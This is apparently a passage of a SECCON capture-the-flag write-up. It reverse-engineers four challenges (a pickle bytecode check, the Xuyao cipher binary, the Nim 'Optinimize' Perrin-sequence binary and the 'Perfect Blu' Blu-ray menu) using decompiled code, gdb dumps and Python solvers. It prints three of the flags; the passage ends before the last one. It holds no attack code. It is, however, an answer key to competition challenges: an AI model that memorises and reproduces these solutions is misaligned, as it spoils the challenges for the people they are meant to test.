712: R REDUCE ; [ lst2.append, builtins.pow, int.__xor__, lst[i] ]
713: g GET 16 ; [ lst2.append, builtins.pow, int.__xor__, lst[i], iv ]
717: \x86 TUPLE2 ; [ lst2.append, builtins.pow, int.__xor__, (lst[i], iv) ]
718: R REDUCE ; [ lst2.append, builtins.pow, lst[i] ^ iv ]
719: I INT 65537 ; [ lst2.append, builtins.pow, lst[i] ^ iv, 65537 ]
726: I INT 18446744073709551557 ; [ lst2.append, builtins.pow, lst[i] ^ iv, 65537, 18446744073709551557 ]
748: \x87 TUPLE3 ; [ lst2.append, builtins.pow, (lst[i] ^ iv, 65537, 18446744073709551557) ]
749: R REDUCE ; [ lst2.append, pow(lst[i] ^ iv, 65537, 18446744073709551557) ]
750: \x85 TUPLE1 ; [ lst2.append, (pow(lst[i] ^ iv, 65537, 18446744073709551557),) ]
751: R REDUCE ; [ lst2.append(pow(lst[i] ^ iv, 65537, 18446744073709551557)) ]
752: 0 POP ; [ ]
753: g GET 14 ; [ lst2.__getitem__ ]
757: g GET 7 ; [ lst2.__getitem__, i ]
760: \x85 TUPLE1 ; [ lst2.__getitem__, (i,) ]
761: R REDUCE ; [ lst2[i] ]
762: p PUT 16 ; memo[16] = lst2[i]
766: 0 POP ; [ ]
767: g GET 2 ; [ f.seek ]
770: g GET 3 ; [ f.seek, int.__add__ ]
773: g GET 4 ; [ f.seek, int.__add__, int.__mul__ ]
776: g GET 5 ; [ f.seek, int.__add__, int.__mul__, int.__eq__ ]
779: g GET 3 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__ ]
782: g GET 7 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i ]
785: M BININT2 1 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i, 1 ]
788: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, (i, 1) ]
789: R REDUCE ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1 ]
790: p PUT 7 ; memo[7] = i+1
793: M BININT2 8 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1, 8 ]
796: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, (i+1, 8) ]
797: R REDUCE ; [ f.seek, int.__add__, int.__mul__, i+1 == 8 ]
798: M BININT2 131 ; [ f.seek, int.__add__, int.__mul__, i+1 == 8, 131 ]
801: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, (i+1 == 8, 131) ]
802: R REDUCE ; [ f.seek, int.__add__, (i+1 == 8) * 131 ]
803: M BININT2 679 ; [ f.seek, int.__add__, (i+1 == 8) * 131, 679 ]
806: \x86 TUPLE2 ; [ f.seek, int.__add__, ((i+1 == 8) * 131, 679) ]
807: R REDUCE ; [ f.seek, (i+1 == 8) * 131 + 679 ]
808: \x85 TUPLE1 ; [ f.seek, ((i+1 == 8) * 131 + 679,) ]
809: R REDUCE ; [ f.seek((i+1 == 8) * 131 + 679) ]
810: 0 POP ; [ ]
```
In this loop, each list value is xored with variable `iv` (initially it is 1244422970072434993, later it is updated with previous ciphertext, like in CBC block cipher mode). Then it is encrypted with RSA-like algorithm (`n` = 18446744073709551557, `e` = 65537). Results are appended to a new list.
### Checking the result
```
811: g GET 0 ; [ builtins.getattr ]
814: g GET 12 ; [ builtins.getattr, lst2 ]
818: \x8c SHORT_BINUNICODE '__eq__' ; [ builtins.getattr, lst2, '__eq__' ]
826: \x86 TUPLE2 ; [ builtins.getattr, (lst2, '__eq__') ]
827: R REDUCE ; [ lst2.__eq__ ]
828: ( MARK
829: I INT 8215359690687096682
850: I INT 1862662588367509514
871: I INT 8350772864914849965
892: I INT 11616510986494699232
914: I INT 3711648467207374797
935: I INT 9722127090168848805
956: I INT 16780197523811627561
978: I INT 18138828537077112905
1000: l LIST (MARK at 828) ; [ lst2.__eq__, [8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905] ]
1001: \x85 TUPLE1 ; [ lst2.__eq__, ([8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905],) ]
1002: R REDUCE ; [ lst2 == [8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905] ]
1003: . STOP
```
Finally, the result is compared against a list of hard-coded values.
## Solving
Now that we know exactly what it does, we can write a solver script:
```python=
wanted = [
8215359690687096682,
1862662588367509514,
8350772864914849965,
11616510986494699232,
3711648467207374797,
9722127090168848805,
16780197523811627561,
18138828537077112905,
]
e = 65537
n = 18446744073709551557
phi = n - 1 # n is prime
d = pow(e, -1, phi)
iv = 1244422970072434993
flag = b''
for ct in wanted:
flag += int.to_bytes(pow(ct, d, n) ^ iv, 8, 'little')
iv = ct
print(flag)
```
After running it, we get the flag:
```
SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}
```
# 2. Xuyao
We're provided with native x86_64 Linux executable, which asks for message input. After that it prints "Wrong...", so we can expect some validation we need to reverse.
## Initial analysis
Let's throw the binary into Ghidra and see what we're dealing with.
Right off the bat, we can see it uses some kind of obfuscation, where local procedure data is located in `mmap`-ed memory and accessed via an array of descriptor structures containing offsets and sizes of each chunk.
For example, in `main` we can see all data is presented by 1-byte chunks, and there's logic checking their sizes when message is copied into there.

Following the code, we can see the message is padded with usual PKCSv1.5 padding to 16-byte boundary, then `encrypt`-ed, and checked against static buffer `enc`.

## Encryption analysis
As all other functions, `encrypt` is obfuscated, and is rather bothersome to look at. In a nutshell, it uses some static buffers `cat` and `fish` to somehow initialize itself. It also calls `ks` (key schedule?) and `encrypt_block` functions.
### ks

This one is pretty small, but it calls two other functions, so let's look at those:
### tnls

This one is pretty small, and does SBOX substitution for each byte of a 32-bit value. Apparently, it uses the same SBOX table as AES, which is probably a red herring to trick people into thinking it is some kind of white box AES implementation (and it worked for a moment 🤦♂️).
Equivalent code:
```python=
def tnls(x):
r = 0
for i in range(0, 32, 8):
r |= sbox[(x >> i) & 0xff] << i
return r
```
### kls

This one is also pretty straightforward, and does some xors and rotations on a 32-bit input value.
Equivalent code:
```python=
def kls(x):
return x ^ rol(x, 11) ^ ror(x, 7)
```
### encrypt_block
This one is also a bit tedious to look at, but in a nutshell it receives a block of data (4 32-bit values), 32 32-bit subkeys and output pointer, swaps endianness and performs 32 rounds of calling function `r` for each subkey.
Equivalent code:
```python=
def encrypt_block(block, subkeys):
assert len(block) == 16
block = array('I', block)
block.byteswap()
block = block.tolist()
for i in range(32):
block = [block[1], block[2], block[3], r(block, subkeys[i])]
result = array('I', block[::-1])
result.byteswap()
return result.tobytes()
```
### r

This one is a bit hard to read, but it basically xors 3 last block values with subkey, calls `es` on that and xors the result with first block value.
Equivalent code:
```python=
def r(block, subkey):
return es(block[1] ^ block[2] ^ block[3] ^ subkey) ^ block[0]
```
### es

This one looks similar to `ks`, and also calls `tnls` substitution first. But the second step is a bit different.
### els

Also pretty similar to `kls`, a bunch of shifts and xors.
Eqivalent code:
```python=
def els(x):
return x ^ rol(x, 3) ^ rol(x, 14) ^ rol(x, 15) ^ rol(x, 9)
```
## Solving
Now that we know all required pieces, we can write a `decrypt_block` function to undo the encryption:
```python=
def decrypt_block(block, subkeys):
assert len(block) == 16
block = array('I', block)
block.byteswap()
block = block.tolist()[::-1]
for i in range(31, -1, -1):
block = [es(block[0] ^ block[1] ^ block[2] ^ subkeys[i]) ^ block[3], block[0], block[1], block[2]]
result = array('I', block)
result.byteswap()
return result.tobytes()
```
What we're missing now, is subkeys. But we're lazy, so let's just dump them with `gdb` from a runing process:
```
$ gdb ./xuyao
> b encrypt_block
> r
Message: AAAAAAAAAAA
> x/64gx $rsi
0x7fffffffcde0: 0x00007ffff7fc1000 0x0000000400000044
0x7fffffffcdf0: 0x00007ffff7fc1000 0x0000000400000048
0x7fffffffce00: 0x00007ffff7fc1000 0x000000040000004c
0x7fffffffce10: 0x00007ffff7fc1000 0x0000000400000050
0x7fffffffce20: 0x00007ffff7fc1000 0x0000000400000054
0x7fffffffce30: 0x00007ffff7fc1000 0x0000000400000058
0x7fffffffce40: 0x00007ffff7fc1000 0x000000040000005c
0x7fffffffce50: 0x00007ffff7fc1000 0x0000000400000060
0x7fffffffce60: 0x00007ffff7fc1000 0x0000000400000064
0x7fffffffce70: 0x00007ffff7fc1000 0x0000000400000068
0x7fffffffce80: 0x00007ffff7fc1000 0x000000040000006c
0x7fffffffce90: 0x00007ffff7fc1000 0x0000000400000070
0x7fffffffcea0: 0x00007ffff7fc1000 0x0000000400000074
0x7fffffffceb0: 0x00007ffff7fc1000 0x0000000400000078
0x7fffffffcec0: 0x00007ffff7fc1000 0x000000040000007c
0x7fffffffced0: 0x00007ffff7fc1000 0x0000000400000080
0x7fffffffcee0: 0x00007ffff7fc1000 0x0000000400000084
0x7fffffffcef0: 0x00007ffff7fc1000 0x0000000400000088
0x7fffffffcf00: 0x00007ffff7fc1000 0x000000040000008c
0x7fffffffcf10: 0x00007ffff7fc1000 0x0000000400000090
0x7fffffffcf20: 0x00007ffff7fc1000 0x0000000400000094
0x7fffffffcf30: 0x00007ffff7fc1000 0x0000000400000098
0x7fffffffcf40: 0x00007ffff7fc1000 0x000000040000009c
0x7fffffffcf50: 0x00007ffff7fc1000 0x00000004000000a0
0x7fffffffcf60: 0x00007ffff7fc1000 0x00000004000000a4
0x7fffffffcf70: 0x00007ffff7fc1000 0x00000004000000a8
0x7fffffffcf80: 0x00007ffff7fc1000 0x00000004000000ac
0x7fffffffcf90: 0x00007ffff7fc1000 0x00000004000000b0
0x7fffffffcfa0: 0x00007ffff7fc1000 0x00000004000000b4
0x7fffffffcfb0: 0x00007ffff7fc1000 0x00000004000000b8
0x7fffffffcfc0: 0x00007ffff7fc1000 0x00000004000000bc
0x7fffffffcfd0: 0x00007ffff7fc1000 0x00000004000000c0
> x/32wx 0x00007ffff7fc1000+0x44
0x7ffff7fc1044: 0xf6067814 0xed73cb7e 0x1583a8b2 0x0dde8d93
0x7ffff7fc1054: 0x23e2374b 0x40b83c72 0x0b3f811a 0xd6e7a993
0x7ffff7fc1064: 0x2622de7c 0xc581dcae 0xa906524c 0xdb4f2cc1
0x7ffff7fc1074: 0x0ddb3477 0x8c1a92a4 0x3bd711c0 0x1bb16503
0x7ffff7fc1084: 0x00acd720 0x2735f2d0 0x9a9300fe 0xfb2556a7
0x7ffff7fc1094: 0xcbe1fe58 0xc03db8c9 0xf77cb701 0x0a1f85ae
0x7ffff7fc10a4: 0x14dd27dc 0xe1a5e3a9 0x41d1f9ee 0xfe6afce7
0x7ffff7fc10b4: 0xd80eac32 0xf43efead 0x6475d80f 0x38a310d6
```
Now we can copy those values and plug them into the final script:
```python=
from Crypto.Util.Padding import unpad
from array import array
sbox = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
def rol(x, n):
return (x >> (32 - n)) | (x << n) & 0xffffffff
def tnls(x):
r = 0
for i in range(0, 32, 8):
r |= sbox[(x >> i) & 0xff] << i
return r
def els(x):
return x ^ rol(x, 3) ^ rol(x, 14) ^ rol(x, 15) ^ rol(x, 9)
def es(x):
return els(tnls(x))
def decrypt_block(block, subkeys):
assert len(block) == 16
block = array('I', block)
block.byteswap()
block = block.tolist()[::-1]
for i in range(31, -1, -1):
block = [es(block[0] ^ block[1] ^ block[2] ^ subkeys[i]) ^ block[3], block[0], block[1], block[2]]
result = array('I', block)
result.byteswap()
return result.tobytes()
enc = bytes.fromhex('fe 60 a8 c0 3b fe bc 66 fc 9a 9b 31 9a d8 03 bb a9 e1 56 fc fc 11 9f 89 5f 4d 9f e0 9f ae 2a cf 5e 73 cb ec 3f ff b9 d1 99 44 1b 9a 79 79 ec d1 b4 fd ea 2b e2 f1 1a 70 76 3c 2e 7f 3f 3b 7b 66 a3 4b 1b 5c 0f be dd 98 5a 5b d0 0a 3d 7e 2c 10 56 2a 10 87 5d d9 b9 7f 3e 2e 86 b7 17 04 df b1 27 c4 47 e2 d9 7a 9a 48 7c db c6 1d 3c 00 a3 21')
# dumped with gdb
subkeys = [
0xf6067814, 0xed73cb7e, 0x1583a8b2, 0x0dde8d93, 0x23e2374b, 0x40b83c72, 0x0b3f811a, 0xd6e7a993,
0x2622de7c, 0xc581dcae, 0xa906524c, 0xdb4f2cc1, 0x0ddb3477, 0x8c1a92a4, 0x3bd711c0, 0x1bb16503,
0x00acd720, 0x2735f2d0, 0x9a9300fe, 0xfb2556a7, 0xcbe1fe58, 0xc03db8c9, 0xf77cb701, 0x0a1f85ae,
0x14dd27dc, 0xe1a5e3a9, 0x41d1f9ee, 0xfe6afce7, 0xd80eac32, 0xf43efead, 0x6475d80f, 0x38a310d6,
]
plaintext = b''
for i in range(0, len(enc), 16):
plaintext += decrypt_block(enc[i:i+16], subkeys)
print(unpad(plaintext, 16))
```
And this gives us the flag:
```
SECCON{x86_he2_zhuan1_you3_zi4_jie2_ma3_de_hun4he2}
```
# 3. Optinimize
We're given a x86_64 Linux binary, which starts printing the flag, but gradually slows down into waiting forever. As the name suggests, we likely need to optimize it into doing it faster.
## Initial analysis
Throwing it into Ghidra immediately reveals `NimMainModule` called from `main`, which suggest it is written in `Nim` language. This is also hinted by the challenge name.
Ghidra doesn't support Nim's name demangling, so we can see a bunch of function names like `division__OOZOOZOOZOOZOnimbleZpkgs50Zbigints4549O48O4845505251524853aea53fa50f56575157aff5757d49c49515252ebce4954a56e54Zbigints_u1603` here and there.
This both gives us the idea that we're dealing with some big integer arithmetic, and requires to learn calling convention and struct layout for bigints, while renaming those functions to something adequate.
### bigint type and calling convention
Luckiy, Nim is open-source, so we can find `bigint` type [here](https://github.com/nim-lang/bigints/blob/master/src/bigints.nim#L8):
```
type
BigInt* = object
## An arbitrary precision integer.
# Invariants for `a: BigInt`:
# * if `a` is non-zero: `a.limbs[a.limbs.high] != 0`
# * if `a` is zero: `a.limbs.len <= 1`
limbs: seq[uint32]
isNegative: bool
```
It inherits from `object` (so we're expecting some kind of preamble), then goes usual limbs array and sign flag:

Browsing some functions like bigint addition, we learn that result (mutable value) is passed as pointer in `rdi` register, while input bigint arguments are passed by value on stack. That way, we can assign proper function prototypes.
### main
Throwing away some junk assignments, `main` code is like this:
```clike=
void NimMainModule(void)
{
long lVar1;
ulong uVar5;
undefined8 *puVar6;
ulong uVar7;
long i;
long in_FS_OFFSET;
bigint_t int_n;
bigint_t int_p;
bigint_t int_256;
bigint_t local_58;
i = 0;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
do {
n__main_u68 = ns__main_u18[i];
i__main_u67 = i;
initBigInt(&int_n, n__main_u68);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
Q__main_u13(&int_p, int_n);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
initBigInt(&int_256, 0x100);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
bigIntMod(&k__main_u69, int_p, int_256);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
uVar5 = toInt__main_u70(k__main_u69);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
if (extraout_DL == '\0') {
puVar6 = (undefined8 *)nimNewObj(0x40,8);
*puVar6 = NTIv2__xyXpGovXZ9bdmhfjWF19axsA_;
puVar6[2] = "UnpackDefect";
puVar6[3] = 0x22;
puVar6[4] = "\"";
puVar6[1] = 0;
raiseExceptionEx(puVar6,"UnpackDefect","get","options.nim",0xca);
uVar2 = int_n._16_8_;
uVar3 = int_p._16_8_;
uVar4 = int_256._16_8_;
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
NimMainModule.cold();
return;
}
}
else {
uVar7 = cs__main_u19[i__main_u67] ^ uVar5;
if (uVar7 < 0x100) {
write__stdZsyncio_u355(stdout,(int)(char)((byte)cs__main_u19[i__main_u67] ^ (byte)uVar5));
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
flushFile__stdZsyncio_u277(stdout);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
if (0x26 < i) {
bigIntDestroy(&int_256);
bigIntDestroy(&int_p);
bigIntDestroy(&int_n);
bigIntDestroy(&k__main_u69);
break;
}
i += 1;
}
}
}
else {
raiseRangeErrorU(uVar7,0,0xff);
}
}
}
}
}
}
}
bigIntDestroy(&int_256);
bigIntDestroy(&int_p);
bigIntDestroy(&int_n);
bigIntDestroy(&k__main_u69);
} while (*(char *)(in_FS_OFFSET + -0x80) == '\0');
if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) {
nimTestErrorFlag();
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
```
So, for each iteration, it takes a number from `ns__main_u18`, constructs a bigint with its value, calls `Q__main_u13`, takes the result modulo 256, converts it to an integer, xors `cs__main_u19[i]` with it and prints result character. Obviously, `Q__main_u13` is the main culprit of slowing down, so we need to look into it.
### Q__main_u13
```clike=
bigint_t * Q__main_u13(bigint_t *param_1,bigint_t N)
{
bool bVar1;
long in_FS_OFFSET;
bigint_t int_result;
bigint_t int_i;
bigint_t int_accum;
bigint_t int_one;
bigint_t int_p;
bigint_t int_pm;
bigint_t int_zero;
bigint_t int_one1;
undefined local_58 [24];
long local_40;
local_40 = *(long *)(in_FS_OFFSET + 0x28);
initBigInt(&int_i, 0);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
initBigInt(&int_accum,0);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
do {
bVar1 = bigIntLt(int_i, N);
if (*(char *)(in_FS_OFFSET + -0x80) != '\0') break;
if (!bVar1) {
int_result = int_accum
bigIntClear(&int_accum);
break;
}
initBigInt(&int_one, 1);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
bigIntAdd(&tmp, int_accum, int_one);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
bigIntMove(&int_accum, tmp);
P__main_u4(&int_p, int_accum);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
bigIntMod(&int_pm, int_p, int_accum);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
initBigInt(&int_zero, 0);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
bVar1 = bigIntEq(int_pm, int_zero);
if ((*(char *)(in_FS_OFFSET + -0x80) == '\0') && (bVar1)) {
initBigInt(&int_one, 1);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
bigIntAdd(&tmp, int_i, int_one);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
bigIntMove(&int_i, tmp);
bigIntDestroy(&int_one);
}
}
}
}
}
}
}
}
bigIntDestroy(&int_zero);
bigIntDestroy(&int_pm);
bigIntDestroy(&int_p);
bigIntDestroy(&int_one);
} while (*(char *)(in_FS_OFFSET + -0x80) == '\0');
}
}
bigIntDestroy(&int_accum);
bigIntDestroy(&int_i);
param_1->isNegative = int_result.isNegative;
param_1->unk = int_result.unk;
param_1->limbs = int_result.limbs;
if (local_40 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return ¶m_1;
}
```
Equivalent code:
```python=
def Q__main_u13(n):
i, accum = 0, 0
while i < n:
accum += 1
p = P__main_u4(accum)
if p % accum == 0:
i += 1
return accum
```
### P__main_u4
```clike=
bigint_t * P__main_u4(bigint_t *result,bigint_t x)
{
bool bVar1;
undefined8 *puVar2;
long in_FS_OFFSET;
bigint_t tmp;
bigint_t int_result;
bigint_t int_a;
bigint_t int_b;
bigint_t int_c;
bigint_t int_zero;
bigint_t int_one;
bigint_t int_two;
bigint_t int_acc;
bigint_t local_d8;
undefined tmp2 [32];
undefined int_a_plus_b [32];
bigint_t local_78;
undefined local_58 [24];
long local_40;
local_40 = *(long *)(in_FS_OFFSET + 0x28);
initBigInt(&int_a, 3);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
initBigInt(&int_b, 0);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
initBigInt(&int_c, 2);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
initBigInt(&int_zero, 0);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
bVar1 = bigIntEq(x, int_zero);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
if (bVar1) {
int_result = int_a;
bigIntClear(&int_a);
}
else {
initBigInt(&int_one, 1);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
bVar1 = bigIntEq(x, int_one);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
if (bVar1) {
int_result = int_b;
bigIntClear(&int_b);
}
else {
initBigInt(&int_two, 2);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
bVar1 = bigIntEq(x, int_two);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
if (bVar1) {
int_result = int_c;
bigIntClear(&int_c);
}
else {
initBigInt(&int_two, 2);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
bVar1 = bigIntLt(int_two, x);
if (*(char *)(in_FS_OFFSET + -0x80) == '\0') {
if (bVar1) {
bigIntCopy(&int_acc, x);
while (initBigInt(&tmp, 2), *(char *)(in_FS_OFFSET + -0x80) == '\0') {
bigIntMove(&local_d8, tmp);
bVar1 = bigIntLt(local_d8, int_acc);
if (*(char *)(in_FS_OFFSET + -0x80) != '\0') break;
if (!bVar1) {
bigIntDestroy(&local_d8);
int_result = int_c;
bigIntClear(&int_c);
bigIntDestroy(&int_acc);
break;
}
bigIntAdd(&tmp, int_a, int_b);
bigIntMove(&int_a, int_b);
bigIntClear(&int_b);
bigIntMove(&int_b, int_c);
bigIntClear(&int_c);
bigIntMove(&int_c, tmp);
initBigInt(&local_78, 1);
if (*(char *)(in_FS_OFFSET + -0x80) != '\0') break;
bigIntSub(&tmp, int_acc, local_78);
if (*(char *)(in_FS_OFFSET + -0x80) != '\0') break;
bigIntMove(&int_acc, tmp);
bigIntDestroy(&local_78);
}
}
else {
puVar2 = (undefined8 *)nimNewObj(0x48,8);
*puVar2 = NTIv2__9bBsIFwRdpynDhwYKAAtrng_;
puVar2[2] = "OSError";
puVar2[3] = 0x10;
puVar2[4] = &TM__V45tF8B8NBcxFcjfe7lhBw_2;
puVar2[1] = 0;
raiseExceptionEx(puVar2,"OSError",&DAT_00112811,"main.nim",0x1a);
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
bigIntDestroy(&int_two);
bigIntDestroy(&int_one);
bigIntDestroy(&int_zero);
bigIntDestroy(&int_c);
bigIntDestroy(&int_b);
bigIntDestroy(&int_a);
result->isNegative = int_result.isNegative;
result->unk = int_result.unk;
result->limbs = int_result.limbs;
if (local_40 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return result;
}
```
And equivalent code would be:
```python=
def P__main_u4(x):
a, b, c = 3, 0, 2
if x == 0:
return a
if x == 1:
return b
while x > 2:
a, b, c = b, c, a + b
x -= 1
return c
```
## Solving
Now that we know what functions do, let's try to understand what' going on.
Generating several few elements of `P__main_u4` gives us sequence `3, 0, 2, 3, 2, 5, 5, 7, 10, 12, 17, 22, 29, 39, ...`. Quick googling shows that it is the [Perrin sequnce](https://en.wikipedia.org/wiki/Perrin_number).
It has a property that `n|p(n)` for all primes. We can see that it is exacly what `Q__main_u13` is checking, so can conclude that it returns `n`-th Perrin prime.
But need to note that this test includes some [pseudoprimes](https://oeis.org/A013998) too, so we need to account for those.
Here would be the solver script:
```python=
import gmpy2
ns = [ 74, 85, 111, 121, 128, 149, 174, 191, 199, 213, 774, 6856, 9402, 15616, 17153, 22054, 27353, 28931, 36891, 40451, 1990582, 2553700, 3194270, 4224632, 5969723, 7332785, 7925541, 8752735, 10012217, 11365110, 17301654, 26085581, 29057287, 32837617, 39609127, 44659126, 47613075, 56815808, 58232493, 63613165 ]
cs = [ 60, 244, 26, 208, 138, 23, 124, 76, 223, 33, 223, 176, 18, 184, 78, 250, 217, 45, 102, 250, 212, 149, 240, 102, 109, 206, 105, 0, 125, 149, 234, 217, 10, 235, 39, 99, 117, 17, 55, 212 ]
# https://oeis.org/A013998
pseudoprimes = [ 271441, 904631, 16532714, 24658561, 27422714, 27664033, 46672291, 102690901, 130944133, 196075949, 214038533, 517697641, 545670533, 801123451, 855073301, 903136901, 970355431, 1091327579, 1133818561, 1235188597, 1389675541, 1502682721, 2059739221, 2304156469, 2976407809, 3273820903 ]
n = max(ns)
seq = [ 0, 1 ]
while len(seq) <= n:
x = int(gmpy2.next_prime(seq[-1]))
while pseudoprimes and x > pseudoprimes[0]:
seq.append(pseudoprimes.pop(0))
seq.append(x)
flag = ''
for n, c in zip(ns, cs):
flag += chr(c ^ (seq[n] % 256))
print(flag)
```
It takes some time to run, but after several minutes we get the flag:
```
SECCON{3b4297373223a58ccf3dc06a6102846f}
```
# 4. Perfect Blu
We're given an `iso` image containing BDMV Blu-Ray rip. Upon opening with VLC, it shows a keyboard-like menu to enter the flag.

## Initial analysis
To open BDMV structure, we'll use [BDedit](https://bdedit.pel.hu) software (download on the site seems broken, but it can be downloaded from some mirror).

We're interested in the Menu section, so we go to the corresponding tab and load menu from `STREAMS\00000.m2ts`.

We see a bunch of buttons in top section, each described by (x, y) coordinates and some commands (center left list). For most of them, there's `Call Object 48` instruction, but one with coordinates (453, 672) has `Call Object 1`.
Let's quickly write a helper function to translate coordinates into keyboard character:
```python=
KEYS = [
'1234567890',
'QWERTYUIOP',
'ASDFGHJKL{',
'ZXCVBNM_-}',
]
def xy_to_key(x, y):
x = (x - 315) + 50
y = (y - 413) + 50
return KEYS[y // 130][x // 137]
```
We can now see that `xy_to_key(453, 672)` is letter `S`, as in `SECCON`. We're onto something!
Searching for command code in hex editor reveals there's button info followed by the commands in `m2ts` file, and we can extract coordinates from there:

## Solving
Now that we know what to look for, we can craft a script to automate it. After dealing with various caveats, like variable struct length, we come up with a quick and dirty script like this:
```python=
import struct
KEYS = [
'1234567890',
'QWERTYUIOP',
'ASDFGHJKL{',
'ZXCVBNM_-}',
]
def xy_to_key(x, y):
x = (x - 315) + 50
y = (y - 413) + 50
return KEYS[y // 130][x // 137]
def get_button(path, index):
print('processing', path)
with open(path, 'rb') as f:
data = f.read()
pattern = struct.pack('>III', 0x21820000, index + 1, 0)
pos = data.find(pattern)
if pos == -1:
# dirty hack for one corner case
pattern = struct.pack('>II', 0x21820000, 0)
pos = data.index(pattern)
pos = data[:pos].rindex(b'\x00\x04\x00\x00\x00\x00')
while True:
x, y = struct.unpack_from('>HH', data, pos)
if x == 0 and y == 0:
return None
# hacky way to find coordinates' location
if 315 <= x <= 1551 and 413 <= y <= 802:
break
pos -= 1
return xy_to_key(x, y)
flag = ''
for i in range(47):
c = get_button(f'unpacked/BDMV/STREAM/{i:05}.m2ts', i)
print(i, c)
flag += c
print(flag)
```
And a few moments later we get the flag:
```
